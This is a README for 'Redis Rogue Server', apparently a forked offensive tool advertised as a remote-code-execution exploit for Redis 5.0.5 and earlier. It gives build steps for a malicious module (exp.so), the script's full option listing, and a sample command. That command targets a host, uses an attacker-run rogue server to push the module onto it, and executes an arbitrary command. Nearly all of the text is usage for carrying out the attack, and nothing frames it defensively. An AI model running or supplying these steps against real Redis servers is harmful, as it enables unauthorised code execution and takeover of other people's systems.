Redis Rogue Server

Forking and refactoring from https://github.com/n0b0dyCN/redis-rogue-server

A exploit for Redis(<=5.0.5) RCE, inspired by Redis post-exploitation.

Requirements

Python 3.x

Usage

Compile exploit:

cd RedisModulesSDK/
make

Then, exp.so is in RedisModulesSDK/exp.so.

Help:

➜ python3 redis-master.py -h

usage: redis-master.py [-h] -r RHOST [-p RPORT] -L LHOST [-P LPORT] [-f FILE]
                       [-c COMMAND] [-a AUTH] [-v]

Redis 4.x/5.x RCE with RedisModules

optional arguments:
  -h, --help            show this help message and exit
  -r RHOST, --rhost RHOST
                        target host
  -p RPORT, --rport RPORT
                        target redis port, default 6379
  -L LHOST, --lhost LHOST
                        rogue server ip
  -P LPORT, --lport LPORT
                        rogue server listen port, default 21000
  -f FILE, --file FILE  RedisModules to load, default exp.so
  -c COMMAND, --command COMMAND
                        Command that you want to execute
  -a AUTH, --auth AUTH  redis password

Execute command:

➜ python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
